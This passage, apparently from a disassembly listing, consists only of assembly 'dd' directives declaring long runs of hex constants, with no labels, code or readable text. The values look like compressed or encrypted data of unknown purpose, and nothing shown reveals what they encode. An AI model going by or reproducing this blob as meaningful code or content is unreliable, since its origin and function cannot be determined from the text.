438FE831h, 3325D16Bh dd 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h, 0B40A657Bh dd 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah, 7BA2EAh dd 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh, 472A7Ch dd 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h, 0C297BC0h dd 12440F9Fh, 0CC20F804h, 1A4626FFh, 0D9754F01h, 0A4DC4381h dd 7FF59AE8h, 1C2C072Ah, 30D6AB18h, 373FE828h, 1AC758h dd 0EC99EA24h, 5FA858h, 264C4442h, 5B2DAF53h, 0E094D500h dd 3B1C98C4h, 74F9A0BEh dd 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah dd 545E0B24h, 360040D0h, 0E40594B1h, 7E75D40Eh, 81CC3A1h dd 4842C020h, 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h dd 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h, 5F39DB31h dd 0D8E2B0h, 7E1DFD94h, 7CF60542h, 82000EE6h, 680AA21Ch dd 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh dd 0EE7717h, 910C1867h, 0C7D7C6B7h, 0AFC8A500h, 7F95A215h dd 0B0040017h, 82D4BC92h, 1C007B29h, 0E0E8515Fh, 0F303231h dd 330A440Dh, 9B0C960h, 3B02010Bh, 67D1C50h, 49DB608Bh dd 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh, 7F56CA40h dd 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh, 3D817256h dd 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h, 4548CB00h dd 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h, 7034E4D8h dd 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h, 6D3D7AF5h dd 601F4DF8h, 0D2F13304h, 3F822D37h, 88B3638Ah, 0FA092h dd 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch, 4E99E1h dd 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh, 54BF001Eh dd 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh, 0FEA7132h dd 7607B91h, 149500D7h, 0AAD504F0h, 0F7303Bh, 5BDE97D1h dd 107EB8Bh, 5DC9CAD4h, 0E8871067h, 0D50027E9h, 18D02325h dd 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh, 0C3A1F400h dd 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh dd 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah, 70571908h dd 871D79FAh, 54CF2088h, 803C004Ah, 638A551h, 58A2B891h dd 89000B15h, 88BC461Eh, 0EA4E5690h, 1877F2h, 0EB1AC0Ah dd 772E6D41h, 706A6200h, 7899DF60h, 14510010h, 22836350h dd 7D5C4161h, 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h dd 47667157h, 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh dd 6409F07Fh, 80A66974h, 534018CFh, 48770061h, 0B37C577Dh dd 4E019046h, 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h dd 826C6F1Fh, 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h dd 1E20AA15h, 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h dd 0F888DE65h, 1243001Ch, 3637E72h, 61776D55h, 0B0604A00h dd 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch, 45B0711Ch dd 743961C2h, 6EF6E063h, 0C7D81DADh, 66F1404Dh, 76CC6A4Fh dd 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h dd 0EA6F4363h, 581862h, 6C1C6847h, 77875166h, 31706B00h dd 1D466365h, 74487140h, 1F077972h, 80615167h, 74945527h dd 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh, 429E0078h dd 13048FEh, 6A0E654Bh, 0C7636961h, 0D3E128C0h, 87C421FBh dd 0F860F834h, 681E009Fh, 486E38BFh, 95073052h, 1447CA1Ch dd 3741150h, 61670046h, 60886376h, 8BA05677h, 6D000A62h dd 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh dd 9E68573Eh, 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h dd 48B07742h, 0B6006C63h, 74417289h, 613A71h, 1C0696Bh dd 7A7B6DCBh, 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h dd 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h dd 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h dd 406A0B86h, 0BB505Ch, 44A19946h, 7D0D3951h, 14101E15h dd 67FC80C3h, 28B4C28h, 3D00F00h, 0C2203C50h, 17403AF6h dd 21742B80h, 1CA73E16h, 0BA98FF00h, 61C40775h, 1D4775F7h dd 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h dd 0D2380457h, 81E7E0FBh, 60F1FFD3h, 24007CB5h, 2D46DD69h dd 0EBFF497h, 0D55349Fh, 0F7A42520h, 9178C912h, 14B8801Fh dd 8C850F00h, 0F2AEB19h, 0CE906544h, 7481644Fh, 71830E54h dd 0D020CD66h, 1A004240h, 122E3C32h, 262FE175h, 1C8FD16Dh dd 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h dd 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh, 0D0FA00A4h dd 53451BACh, 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h dd 0ECF17A24h, 28B80AEEh, 58A01A00h, 1BE82654h, 8BA71D76h dd 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h dd 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h, 7A768B25h, 0AA830E12h dd 5A204E7Eh, 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h dd 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h, 84ED1C80h dd 1DF807C9h, 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh dd 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh dd 8CA82F21h, 436084DBh, 0FC7A46E9h, 930157F0h, 0C40C21CCh dd 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h dd 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh dd 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h dd 760F09F8h, 545DF0Ch, 0FB80EB0Fh, 2D6995h, 0E885D959h dd 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h dd 0D9028E0Fh, 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh dd 0B7987827h, 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h dd 43CF49B5h, 1B2480C4h, 0CDC340B9h, 47823C5Eh, 1B66A12h dd 7F17FB56h, 851EC422h, 0BC49403h, 0D0763F0Fh, 0F4BA3437h dd 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h, 558BF1B8h dd 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h, 32FEF4h dd 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h, 14546C6h dd 6EB029DEh, 0C8305399h, 2600567Eh, 82502D13h, 259C7DDh dd 44B3D375h, 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh dd 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh, 15F4F48h dd 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h dd 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh dd 8053B84h, 12410C01h, 0E028C310h, 0F600D311h, 1CBA2F13h dd 3455251h, 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h dd 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah dd 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh, 0DDAEFC00h dd 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h, 0B45EBD03h dd 0D224BFh, 60923949h, 9F6BE41h, 32E6B07h, 9E30E4BCh dd 0D31840h, 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h dd 6583F0h, 0B106FE3Bh, 76BE695Bh, 6EC0FA00h, 73BF1210h dd 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h, 6D069022h dd 905A007Fh, 0E99527C3h, 8900AAFFh, 821B4E42h, 0EC0257EBh dd 0B8D3F5D6h, 5098F23h, 12D5BEDBh, 0B4B00092h, 837825E9h dd 46EC600h, 0E0EB72B6h, 7C75038Eh, 14AEA1A8h, 0D99548A0h dd 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h, 0D92A62F1h dd 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h, 0D428B921h dd 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh, 690C16EBh dd 30B3B00h, 24CF2BCAh, 0DF8A006Fh, 0AE4927Ch, 0A000275Fh dd 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h, 82920E00h dd 0EB68422Bh, 75014F00h, 3C6D2859h, 96E60025h, 0D4DDC30Ch dd 80072089h, 1DC0267Bh dd 0B50098B7h, 437EE0h, 0F5AC921Bh, 0B0C1D73Bh, 450C532Ch dd 0EFC25000h, 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h dd 2DA6D3AAh, 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h dd 7031188h, 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh dd 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h dd 28033372h, 9D863210h, 0E628039h, 7A2C1D11h, 8158CA2h dd 2B7D4F0Ch, 28783F03h, 0A90C5820h, 63C510AFh, 75D0EC0h dd 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h, 717CF190h dd 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh dd 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h, 6899D500h dd 2C78B22Fh, 49F2015Dh, 0E27BCDE1h, 0A391F004h, 1253430Fh dd 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h dd 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h, 21B9F58h dd 9C18153Bh, 1254E047h, 0C550001h, 9FAD0575h, 161F8AF4h dd 8414258h, 1A91CB03h, 0AF46FCh, 0B454BF2Ah, 0D5E868E1h dd 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh, 0E400E85Bh dd 104914D5h, 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h, 752D3C01h dd 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h, 0B3003E35h dd 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h, 0A4A22404h dd 4EC09015h, 71E4CB2h, 5C7AB3FAh, 0AC6607Eh, 0EB07EE47h dd 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h, 2E77F098h dd 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h, 9A70F31Ah dd 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h, 5ADEF7FBh dd 45600728h, 618A6543h, 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h dd 84A22C06h, 1CD6EAC4h, 0C0096422h, 0BAF5784Ah, 0C400EB0Ah dd 0B6E83C80h, 4CC1E924h, 11DAEA7h, 0A9840003h, 8AB08805h dd 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h, 40FAE70Fh dd 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h dd 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h dd 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h, 68A1C07h dd 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh dd 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h dd 3E0313A4h, 1D004D93h, 7601C71Ch, 0EBE09237h, 0E93C1703h dd 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh dd 720904E8h, 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h dd 1237E903h, 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h dd 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h dd 0B4CFCCE0h, 66ED10h, 0F8AD68E7h, 851C7DA4h, 0CCF4423Dh dd 7B301D4Eh, 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh dd 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h dd 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh dd 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h dd 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh dd 92747F24h, 1800E024h, 0DE4BE810h, 9E140E12h, 68AF9608h dd 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h dd 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh, 130ED1F5h dd 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh dd 47498476h, 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h dd 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h dd 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h dd 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h dd 47441653h, 0A69DAE18h, 0EC550Eh, 0ABF00798h, 3B06E98Ch dd 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h, 0FF96EBE0h dd 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h, 8130299Fh dd 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh dd 85000CCh, 0DED4BA04h, 0B400E542h, 6B1CDAB6h, 74AE9046h dd 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h, 920034F5h, 1C5815D1h dd 0E3AC6Eh, 8F433614h, 8C9C46A2h, 8A40F101h, 814A3B08h dd 603D840h, 428D0050h, 4D98EA0Ah, 2900E8F0h, 845E575Bh dd 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h dd 7FE7F353h, 0F5DF03AAh, 7A8D7B58h, 22B5780Fh, 2FA4035h dd 0F3F4CB8h, 2FBF0142h, 53A22A00h, 33001034h, 6547E788h dd 3D180C04h, 0AB805249h, 41B26CECh, 0F586E34h, 70690052h dd 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h, 0C805003Ch dd 0C4156550h, 0BF77E9h, 0F12F40Ch, 95845D85h, 3C3E9A67h dd 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh dd 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h, 0BAA068FCh dd 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh, 4F77042h dd 4F5C2A6Ah, 300D1FD0h, 0B01C8700h, 1F625FD6h, 0E651C8h dd 702EC949h, 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h dd 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h dd 80A80858h, 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah dd 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh, 42F397B2h dd 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h dd 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h dd 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah, 3BD2AF24h dd 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h dd 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h, 5CDF1198h dd 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h dd 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h dd 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h dd 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh, 0A0F12F10h dd 204DE4E2h, 3CF87708h, 22584354h, 0E80FEC00h, 945E6A0Dh dd 41FD301h, 1CBE6096h, 31FCBD40h, 4C5001C0h, 0A80E6802h dd 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh, 0B881D53Ah dd 6DFEBDAAh, 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h dd 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh dd 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h dd 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch, 0FE3500F6h dd 0ADD66AF9h, 5002818h, 47CA0CC1h, 4FC8D53h, 0C6297BDFh dd 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h dd 12E653FFh, 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h dd 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h, 750F09C3h dd 5D7D07h, 0B355565Ah, 0D14B1620h, 810CEA3Ah, 527333D6h dd 0EB20077Fh, 114000B4h, 31577242h, 43F8484Dh, 9729863Ch dd 0F3002625h, 544CF20h, 0B3850266h, 7C080C2Ch, 3B4C980h dd 2B1F4BD6h, 0B0000A60h, 0C8022E18h, 3F800F06h, 0DC01353h dd 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h, 0C2790950h dd 38805F86h, 8E0E7412h, 28824C01h, 0C780D231h, 0F7E2C8h dd 4101028Ah, 0F686140Bh, 7570E000h, 0DE3C58F2h, 7637723Ah dd 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h, 0A3A5275h dd 0E6B37740h, 54D30F20h, 5C401460h, 612BC889h, 817A4400h dd 586A07E2h, 0F0C43FE4h dd 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h dd 39F00A7Bh, 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh dd 3FAC8313h, 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h dd 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h dd 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h, 0F62FCA5h dd 0EA7B8401h, 2F2985FAh, 0E0499F0h, 0E03906ADh, 32C30720h dd 172C7440h, 1739997Ah, 74126601h, 0D9075913h, 804B49BFh dd 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h, 480FC8EDh dd 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h, 2A271FC4h dd 3E45A01Bh, 5500A98Fh, 0D84BC179h, 0DFBBF3h, 0CED2031Fh dd 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h, 18066C74h dd 3FEB2880h, 1D8D3700h, 0FFEEB90Ah, 91FCE340h, 0CB3104E8h dd 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h, 0B0E8A097h dd 5A8A098h, 0D4370734h, 20358BB2h, 0EC0DC402h, 318E800h dd 3C836F11h, 0B91200A1h, 0B1437194h, 76003689h, 0C2230FC0h dd 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh, 809DA2C8h dd 49A03Dh, 0ECA11A74h, 509E5CB9h, 32872900h, 0FF10280Ch dd 81A60015h, 5854C35Eh, 2000B22Ch, 5FB7DA36h, 3E94099Ah dd 5EE09332h, 83F07072h, 0E224B90Fh, 34801E1Ch, 5A7CA63Eh dd 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h, 0BB878405h dd 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h, 171EB4Ch dd 8C66C700h, 8304A8D8h, 0EAE90010h, 0C3FA3265h, 0E5005E75h dd 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h, 54059A0Eh dd 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh, 1E00A2D7h dd 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h, 0E81A0700h dd 57ECF391h, 81C32C69h, 7422097Ah, 0B5408300h, 0C0010A6Ch dd 38F640Ch, 3DDCD0BAh, 5CC10042h, 525051C3h, 8807EE66h dd 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h dd 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh, 0D7EE56AAh dd 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h dd 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh dd 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h dd 3685944h, 30058B64h, 3C148500h, 421904F2h, 0C4080F02h dd 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h dd 1859005Eh, 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h dd 33CB0E68h, 88091DBh, 0E8507417h, 62005AFCh, 0F207E688h dd 97D36Bh, 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h dd 4CBBD4DEh, 600F713h, 560B245Bh, 1CCB3A73h, 9F92EBA7h dd 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h dd 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h dd 74C1487Fh, 80FAB89Fh, 0FB4F7D00h, 9536D0D6h, 1E40087h dd 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h, 0EB4599h dd 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh dd 57B3004Fh, 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh dd 4C32FFB3h, 8A60083h, 962E5CF6h, 8EF87193h, 221FEC7Ah dd 0B44F4175h, 2B3960E4h, 705F1BC2h, 0EF8F17Ch, 83F41D11h dd 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h dd 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h dd 153B1249h, 0E10EF0A5h, 683C7700h, 2E855274h, 7FD70059h dd 756E8441h, 8006604h, 4A92BE69h, 0E26B5B10h, 0F313E2E2h dd 19C4B8DDh, 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h dd 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h dd 0C27288Ah, 0B1383EFFh, 96BD7800h, 50101560h, 5CBF5300h dd 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h dd 2B50296h, 89F4F287h, 0CAC00D14h, 680084E9h, 0A177EA90h dd 490894h, 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh dd 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h dd 50093195h, 32836068h, 0DB5D0303h, 0A559974h, 2EB20400h dd 684C2B7Ah, 13D7614h, 66400885h, 0CCA8D753h, 5C6761EDh dd 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah, 6A04C80Eh dd 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h, 9734CFAh dd 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h dd 0D7BC5Bh, 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h dd 885444A6h, 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h dd 0D37BB4h, 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah dd 18B91C53h, 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h, 0D6991401h dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h, 98427D63h dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh dd 553A16h, 0FAED75F5h, 615097E0h, 0C30045Ch, 5A0689D8h dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h, 0BD340310h dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h dd 69F70059h, 1680827h, 2F000BD4h, 41EDCE80h, 152420h dd 74664C94h, 1FFD389h, 840F3A00h, 113FA9F4h, 0BFDE0096h dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h, 0F34E8218h dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch dd 91A92C9h, 366E194Fh, 16C0D08Fh, 0A3CDF841h, 2134F600h dd 0F4107D2Ah, 0C94E00D4h dd 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h dd 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h, 0B73A2274h dd 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh, 82EFD7B1h dd 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh, 3EBF7DD8h dd 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch dd 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h, 3D8B002Eh dd 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h, 0A0003A45h dd 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h, 1D33C25Eh dd 81F2DD18h, 281536C4h, 0F82CD589h, 0AC907784h, 0D30022FAh dd 0A51DE87Eh, 5539D9h, 0A4CFAAACh, 0B6AB362Ah, 4ED25005h dd 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch, 28588D07h dd 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh dd 0EAB82280h, 3EAEE3h, 44B4228h, 0AFAF9DFh, 8F6A3F00h dd 8A587B9Fh, 54150027h, 0C7642994h, 5B0033A7h, 1E759546h dd 15A9Bh, 24871785h, 36FF1491h, 0C306F400h, 8F75D6EAh dd 0FA5E004Ah, 85F310D2h, 2400CF3Ch, 93DBE848h, 0C65F49h dd 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh, 7557D6Eh dd 0F96AB121h, 0D0F84768h, 82F50928h, 29891600h, 9ECF0D45h dd 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h, 0A15803h dd 